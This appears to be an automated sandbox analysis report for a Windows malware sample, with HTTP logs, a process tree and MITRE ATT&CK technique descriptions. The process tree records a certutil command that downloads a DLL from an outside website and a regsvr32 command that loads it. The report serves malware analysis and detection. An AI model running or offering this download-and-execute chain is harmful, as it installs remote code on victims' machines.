2021-09-15 11:47:29 UTC	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 11:47:29 GMT Server: Apache Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1
2021-09-15 11:47:29 UTC	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49773	100.26.95.170	443	C:\Windows\SysWOW64\certutil.exe

Timestamp	Direction	Data
2021-09-15 11:47:31 UTC	OUT	GET /volunteer/actXApiLib.dll HTTP/1.1 Accept: / User-Agent: CertUtil URL Agent Host: www.christchurchmvl.org Cache-Control: no-cache
2021-09-15 11:47:31 UTC	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 11:47:31 GMT Server: Apache Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1
2021-09-15 11:47:31 UTC	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: cBQPecnQRp.exe PID: 5760 Parent PID: 5368

General

Start time:	13:46:42
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\cBQPecnQRp.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\cBQPecnQRp.exe'
Imagebase:	0x400000
File size:	1363448 bytes
MD5 hash:	53817315B195E328CCC0F56B15B247C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: cmd.exe PID: 6152 Parent PID: 5760

General

Start time:	13:47:24
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1368 Parent PID: 6152

General

Start time:	13:47:25
Start date:	15/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: certutil.exe PID: 4528 Parent PID: 6152

General

Start time:	13:47:26
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
Imagebase:	0x10a0000
File size:	1273856 bytes
MD5 hash:	D056DF596F6E02A36841E69872AEF7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: regsvr32.exe PID: 5340 Parent PID: 6152

General

Start time:	13:47:32
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'
Imagebase:	0x1370000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report cBQPecnQRp

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations